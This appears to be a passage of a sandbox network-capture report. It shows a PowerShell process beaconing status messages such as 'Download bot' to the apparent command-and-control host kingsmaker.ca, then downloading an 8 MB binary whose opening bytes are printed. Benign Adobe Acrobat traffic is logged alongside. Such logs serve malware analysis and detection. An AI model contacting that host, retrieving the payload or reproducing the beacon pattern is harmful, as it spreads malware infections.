2024-11-29 07:24:44 UTC	543	IN	Data Raw: 56 65 4b 50 31 47 6f 5b 6d 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 60 6d 6d 58 54 6c 71 69 50 31 4b 68 57 55 4f 72 64 6c 53 49 57 6f 53 4c 60 7b 57 72 5b 44 4c 30 56 47 71 59 52 6a 5b 6d 53 31 34 72 58 31 69 52 62 46 48 78 4f 56 53 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 55 56 65 55 53 31 5b 30 56 6a 65 35 63 44 6d 49 63 49 57 6a 53 30 5b 34 58 6c 30 56 4c 44 6d 49 57 6f 6d 6b 63 55 6d 34 58 32 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 56 57 6a 71 47 54 30 57 52 57 57 50 79 50 6a 65 55 54 31 47 71 54 30 62 30 4c 47 71 58 52 6f 57 60 56 47 47 6f 56 6d 69 4a 64 56 48 7b 52 55 5b 4b 50 30 47 77 52 6a 58 35 65 57 4b 58 60 46 71 60 56 44 48 76 58 57 62 34 65 54 79 73 Data Ascii: VeKP1Go[mDvR1mEPVeKP1GoRTOB`mmXTlqiP1KhWUOrdlSIWoSL`{Wr[DL0VGqYRj[mS14rX1iRbFHxOVSKRIONP3mC[1mEPVeKP1GoRTOC[1mEUVeUS1[0Vje5cDmIcIWjS0[4Xl0VLDmIWomkcUm4X2bvR1mEPVeKP1GoRTOC[1mEPVeVWjqGT0WRWWPyPjeUT1GqT0b0LGqXRoW`VGGoVmiJdVH{RU[KP0GwRjX5eWKX`Fq`VDHvXWb4eTys
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 4e 55 4f 68 63 59 69 33 56 57 65 53 5b 30 71 75 53 6f 43 68 53 30 5b 73 55 44 4f 42 62 46 4b 75 55 6f 6d 60 57 7b 47 72 58 6c 34 53 5b 33 53 49 60 46 79 4b 52 44 71 72 5b 44 69 4a 4f 54 6d 49 55 6f 5b 6a 57 7b 54 76 52 54 65 46 65 57 71 45 50 6b 4f 5b 57 33 76 76 52 54 65 4a 63 47 71 75 4e 59 6d 60 54 31 4b 34 56 6d 69 52 64 56 57 59 63 49 57 60 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 76 56 6c 6d 43 63 31 79 59 4f 59 5b 6a 50 31 47 73 56 6a 62 34 4c 33 4b 75 64 49 5b 5b 57 30 4b 54 5b 47 65 4e 60 6d 71 59 57 6c 75 60 57 30 47 76 52 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 34 56 6d 69 52 64 56 57 57 55 6f 5b 6a 57 7b 54 76 52 32 6d 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d Data Ascii: NUOhcYi3VWeS[0quSoChS0[sUDOBbFKuUom`W{GrXl4S[3SI`FyKRDqr[DiJOTmIUo[jW{TvRTeFeWqEPkO[W3vvRTeJcGquNYm`T1K4VmiRdVWYcIW`e{CMRTOC[1mEPVeKP1KvVlmCc1yYOY[jP1GsVjb4L3KudI[[W0KT[GeN`mqYWlu`W0GvRTi{UjOqPVeKP1GoRTOC[1mEPVeKP0K4VmiRdVWWUo[jW{TvR2m{UjOqPVeKP1GoRTOC[1m
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 6a 53 43 4f 44 34 37 60 32 69 60 60 6a 31 76 56 6d 53 47 64 6a 34 59 52 55 47 4e 53 30 4b 71 56 55 4b 57 4c 6d 71 75 53 59 69 5b 57 47 4b 70 55 6f 71 5b 60 54 6d 45 4c 56 75 60 56 44 35 76 58 57 62 30 60 46 53 49 63 49 5b 68 60 54 47 71 54 59 71 76 58 30 58 78 63 49 57 60 53 7b 6a 7b 58 7b 47 35 57 57 71 59 4c 59 65 58 52 44 35 78 56 55 4f 76 52 56 48 7b 55 6b 43 4c 63 57 58 31 56 6d 4f 4b 4f 31 53 53 62 47 5b 57 60 30 4b 4a 54 6a 5b 52 54 47 57 47 56 6a 71 4b 50 31 71 6e 56 6a 65 53 5b 33 53 49 53 6f 71 69 64 54 6a 32 53 47 47 77 60 30 6d 59 55 6b 43 69 57 7b 6d 30 52 54 50 76 5b 30 53 75 57 6b 4f 4c 57 6a 34 70 58 54 65 56 60 33 53 59 64 46 79 60 53 6d 4b 6e 58 7b 4b 31 50 6d 6a 7b 54 6f 43 68 4c 6b 53 6f 55 47 57 56 4f 47 71 59 55 6b 47 6a 53 30 57 6f Data Ascii: jSCOD47`2i``j1vVmSGdj4YRUGNS0KqVUKWLmquSYi[WGKpUoq[`TmELVu`VD5vXWb0`FSIcI[h`TGqTYqvX0XxcIW`S{j{X{G5WWqYLYeXRD5xVUOvRVH{UkCLcWX1VmOKO1SSbG[W`0KJTj[RTGWGVjqKP1qnVjeS[3SISoqidTj2SGGw`0mYUkCiW{m0RTPv[0SuWkOLWj4pXTeV`3SYdFy`SmKnX{K1Pmj{ToChLkSoUGWVOGqYUkGjS0Wo
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 75 44 54 56 38 4e 50 33 62 76 52 30 50 79 53 6a 6d 57 60 32 43 46 57 6c 75 35 57 6d 65 44 62 31 34 45 5b 7b 31 38 23 28 28 3a 0b 25 62 69 65 79 60 79 79 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 46 57 6c 75 72 55 30 65 72 54 6a 65 57 4c 45 57 58 52 54 50 76 5b 30 47 45 5b 32 43 51 65 7b 43 4d 53 47 47 76 63 56 53 59 4f 56 71 6a 53 33 79 33 58 6c 6d 42 54 47 57 57 60 47 4f 55 60 30 5b 59 57 44 5b 56 56 54 53 53 62 45 65 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 30 43 55 50 6a 47 6d 4c 7b 40 Data Ascii: uDTV8NP3bvR0PySjmW`2CFWlu5WmeDb14E[{18#((:%biey`yy<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Rjejb3HxRlihSICFWlurU0erTjeWLEWXRTPv[0GE[2CQe{CMSGGvcVSYOVqjS3y3XlmBTGWW`GOU`0[YWD[VVTSSbEeDTV8oRTOC[1qI`Fy[W0KrX34O[0CUPjGmL{@
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 56 65 6b 53 31 5b 34 56 57 62 76 63 31 6d 46 65 47 47 57 4c 45 6d 71 58 56 30 56 60 6c 53 46 4c 46 65 4a 53 32 69 33 56 6b 40 79 64 6d 71 34 50 59 43 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 56 71 4b 53 54 34 33 58 6c 34 60 63 46 4f 74 54 56 65 5b 63 55 6d 73 5b 57 4f 42 4c 46 4b 34 50 6f 71 6a 52 44 71 76 58 6c 30 6b 55 6a 4f 71 50 56 65 4b 50 31 47 73 58 7b 4f 52 64 56 47 59 4f 56 34 53 63 55 6d 73 5b 57 4f 43 4e 54 6d 46 65 49 71 6a 52 44 71 76 58 6c 30 6a 5b 44 75 45 54 6f 4f 68 4c 6c 53 4e 58 7b 4b 6b 5b 33 5b 45 50 6a 53 68 4c 6b 54 78 56 6d 69 4a 4c 47 5b 49 4e 49 53 55 63 6a 34 33 58 6c 6d 73 4f 31 53 53 63 33 65 4b 50 31 47 6f 5b 45 4f 4a 62 46 53 49 57 59 53 69 53 7b 6d 37 5b 44 4f 43 60 33 4c 7b 54 6f 6d 69 57 7b 57 74 54 56 31 34 60 33 57 54 Data Ascii: VekS1[4VWbvc1mFeGGWLEmqXV0V`lSFLFeJS2i3Vk@ydmq4PYCDTV8NP3mC[1mEPVqKST43Xl4`cFOtTVe[cUms[WOBLFK4PoqjRDqvXl0kUjOqPVeKP1GsX{ORdVGYOV4ScUms[WOCNTmFeIqjRDqvXl0j[DuEToOhLlSNX{Kk[3[EPjShLkTxVmiJLG[INISUcj43XlmsO1SSc3eKP1Go[EOJbFSIWYSiS{m7[DOC`3L{TomiW{WtTV14`3WT
2024-11-29 07:24:44 UTC	1369	IN	Data Raw: 54 30 63 46 53 34 4c 54 71 6a 53 30 5b 31 52 54 4c 79 54 57 6d 58 54 6c 38 4b 50 30 4b 75 58 57 65 35 63 47 57 49 53 6b 43 69 50 31 47 31 54 30 69 52 63 46 4b 56 54 6b 57 6b 53 30 57 6f 54 6c 30 72 62 30 71 55 50 59 53 52 63 55 6d 34 56 55 4b 57 5b 33 5b 45 50 6d 43 6a 56 47 47 31 57 46 34 56 62 33 4b 43 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 6d 34 50 6d 43 6a 56 47 4b 32 5b 47 69 53 5b 33 53 49 60 46 79 4b 53 30 71 76 58 6a 65 57 5b 33 4f 49 53 6b 43 69 50 55 43 4d 52 54 4f 43 5b 31 6d 46 57 6d 4f 52 53 56 79 47 57 6a 54 34 54 57 4b 73 60 33 65 4b 60 30 5b 31 58 31 69 52 4f 54 6d 49 56 6f 43 68 53 30 57 6f 56 55 4f 4a 63 47 6d 58 54 6c 79 60 50 31 4b 6e 5b 44 53 77 5b 31 71 49 56 6f 43 68 53 30 5b 53 56 57 69 52 63 31 6d 6f 4c 44 75 44 54 56 38 6f 52 Data Ascii: T0cFS4LTqjS0[1RTLyTWmXTl8KP0KuXWe5cGWISkCiP1G1T0iRcFKVTkWkS0WoTl0rb0qUPYSRcUm4VUKW[3[EPmCjVGG1WF4Vb3KCLDuDTV8oRTOC[1m4PmCjVGK2[GiS[3SI`FyKS0qvXjeW[3OISkCiPUCMRTOC[1mFWmORSVyGWjT4TWKs`3eK`0[1X1iROTmIVoChS0WoVUOJcGmXTly`P1Kn[DSw[1qIVoChS0[SVWiRc1moLDuDTV8oR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49727	104.21.75.170	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:46 UTC	284	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 140
2024-11-29 07:24:46 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 68 75 62 65 72 74 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-11-29 07:24:47 UTC	998	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:47 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bd7cLkxJ4QgZmr4ptbw6yDPmZLtTcfGvmwdpJ2JHCi8ZkOgO4YAz8A1z5PtP%2BvfEheSKfvCaq%2BumkHtlO0UYTaJFa%2FOoUsCJZn2pzHq3YsOSo8O%2B8m%2BkAOTGXon8GJvG5ld%2BUUpRzCUx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13861&min_rtt=1064&rtt_var=18446&sent=682&recv=385&lost=0&retrans=0&sent_bytes=844462&recv_bytes=58048&delivery_rate=38803986&cwnd=259&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dc289efa4399-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1560&rtt_var=603&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1084&delivery_rate=1788120&cwnd=222&unsent_bytes=0&cid=ab7c014f78ab6ca0&ts=1014&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49729	52.6.155.20	443	4676	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:47 UTC	1353	OUT	OPTIONS /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1 Host: p13n.adobe.io Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-adobe-uuid,x-adobe-uuid-type,x-api-key Origin: https://rna-resource.acrobat.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://rna-resource.acrobat.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 07:24:48 UTC	572	IN	HTTP/1.1 204 No Content Server: openresty Date: Fri, 29 Nov 2024 07:24:48 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: Authorization,Content-Type,X-Api-Key,cache-control,User-Agent,If-None-Match,x-adobe-uuid,x-adobe-uuid-type, X-Request-Id Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-request-id X-Request-Id: tCxUO0AWEARPSeHOaw32hvgH9OaOTHtr Strict-Transport-Security: max-age=15552000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49732	52.6.155.20	443	4676	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:49 UTC	1473	OUT	GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1 Host: p13n.adobe.io Connection: keep-alive sec-ch-ua: "Chromium";v="105" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42 x-adobe-uuid-type: visitorId x-api-key: AdobeReader9 sec-ch-ua-platform: "Windows" Origin: https://rna-resource.acrobat.com Accept-Language: en-US,en;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://rna-resource.acrobat.com/ Accept-Encoding: gzip, deflate, br
2024-11-29 07:24:50 UTC	608	IN	HTTP/1.1 200 Server: openresty Date: Fri, 29 Nov 2024 07:24:50 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 4762 Connection: close x-request-id: tWM2Ro3uVa7Pdxcv0dpQpdhw97wZGbDD vary: accept-encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: Authorization,Content-Type,X-Api-Key,cache-control,User-Agent,If-None-Match,x-adobe-uuid,x-adobe-uuid-type, X-Request-Id Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-request-id Strict-Transport-Security: max-age=15552000; includeSubDomains
2024-11-29 07:24:50 UTC	4762	IN	Data Raw: 7b 22 73 75 72 66 61 63 65 73 22 3a 7b 22 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 3a 7b 22 63 6f 6e 74 61 69 6e 65 72 73 22 3a 5b 7b 22 63 6f 6e 74 61 69 6e 65 72 49 64 22 3a 31 2c 22 63 6f 6e 74 61 69 6e 65 72 4c 61 62 65 6c 22 3a 22 4a 53 4f 4e 20 66 6f 72 20 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 2c 22 64 61 74 61 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 64 61 74 61 22 3a 22 65 79 4a 6a 64 47 45 69 4f 6e 73 69 64 47 56 34 64 43 49 36 49 6c 52 79 65 53 42 42 59 33 4a 76 59 6d 46 30 49 46 42 79 62 79 4a 39 4c 43 4a 31 61 53 49 36 65 79 4a 30 61 58 52 73 5a 56 39 7a 64 48 6c 73 61 57 35 6e 49 6a 70 37 49 6d Data Ascii: {"surfaces":{"DC_Reader_Home_LHP_Trial_Banner":{"containers":[{"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","dataType":"application/json","data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49735	52.6.155.20	443	4676	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:52 UTC	1473	OUT	GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1 Host: p13n.adobe.io Connection: keep-alive sec-ch-ua: "Chromium";v="105" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42 x-adobe-uuid-type: visitorId x-api-key: AdobeReader9 sec-ch-ua-platform: "Windows" Origin: https://rna-resource.acrobat.com Accept-Language: en-US,en;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://rna-resource.acrobat.com/ Accept-Encoding: gzip, deflate, br
2024-11-29 07:24:52 UTC	608	IN	HTTP/1.1 200 Server: openresty Date: Fri, 29 Nov 2024 07:24:52 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 4762 Connection: close x-request-id: hx5scMlq7FBx74T52XQ8Fgwv9xZ4lJfd vary: accept-encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: Authorization,Content-Type,X-Api-Key,cache-control,User-Agent,If-None-Match,x-adobe-uuid,x-adobe-uuid-type, X-Request-Id Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-request-id Strict-Transport-Security: max-age=15552000; includeSubDomains
2024-11-29 07:24:52 UTC	4762	IN	Data Raw: 7b 22 73 75 72 66 61 63 65 73 22 3a 7b 22 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 3a 7b 22 63 6f 6e 74 61 69 6e 65 72 73 22 3a 5b 7b 22 63 6f 6e 74 61 69 6e 65 72 49 64 22 3a 31 2c 22 63 6f 6e 74 61 69 6e 65 72 4c 61 62 65 6c 22 3a 22 4a 53 4f 4e 20 66 6f 72 20 44 43 5f 52 65 61 64 65 72 5f 48 6f 6d 65 5f 4c 48 50 5f 54 72 69 61 6c 5f 42 61 6e 6e 65 72 22 2c 22 64 61 74 61 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 64 61 74 61 22 3a 22 65 79 4a 6a 64 47 45 69 4f 6e 73 69 64 47 56 34 64 43 49 36 49 6c 52 79 65 53 42 42 59 33 4a 76 59 6d 46 30 49 46 42 79 62 79 4a 39 4c 43 4a 31 61 53 49 36 65 79 4a 30 61 58 52 73 5a 56 39 7a 64 48 6c 73 61 57 35 6e 49 6a 70 37 49 6d Data Ascii: {"surfaces":{"DC_Reader_Home_LHP_Trial_Banner":{"containers":[{"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","dataType":"application/json","data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7Im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49736	104.21.75.170	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:25:01 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 69
2024-11-29 07:25:01 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-11-29 07:25:02 UTC	984	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:01 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2wlbrwRyWKgoasUATFBPPDuMk2bLjc%2FCufNwdgT0O4ByRReLcu1F5yNqq1mp8NIthqMj62oYKAJ9sCYgxIAOkS9WzS97FknTwET7lBQo1KqghVkV4NdLKqNy%2FgAo3jgpj%2B1tlVoB%2Fv%2FO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8265&min_rtt=1204&rtt_var=14573&sent=5&recv=7&lost=0&retrans=0&sent_bytes=752&recv_bytes=1731&delivery_rate=25306&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dc83896d4350-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1591&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1012&delivery_rate=1709601&cwnd=201&unsent_bytes=0&cid=44e53ffb0ad02dec&ts=1012&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49737	104.21.75.170	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:25:03 UTC	332	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa66742445be33750b633b56ea7f99bbb29fdde9b913e810a43e3fb7fc67f0c3fa02ef9b3c2868997a0d2ca950c4eb32e3b408791f34e135b54dbce6fa1a4c76 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca
2024-11-29 07:25:04 UTC	1111	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:04 GMT Content-Type: application/octet-stream Content-Length: 8351232 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AMEXoaAltAwDSiaNOG4OuaFa7PKHEzPijpJL8%2FYvU9X1THXk3Uuw0Hjgg8CTrpNtwDwaGVoG6Y8hBkD%2FdWbWhSP3APgGKeZHXvX%2BXNp1eXbYdvn73pQkr%2FCnGwASfyjbD3q8QzZ3WaGR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20806&min_rtt=1064&rtt_var=22785&sent=780&recv=455&lost=0&retrans=0&sent_bytes=906901&recv_bytes=85033&delivery_rate=38803986&cwnd=259&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dc924cf67c7e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1920&min_rtt=1918&rtt_var=725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=970&delivery_rate=1504379&cwnd=225&unsent_bytes=0&cid=12aa6e4858a6ecff&ts=810&x=0"
2024-11-29 07:25:04 UTC	258	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 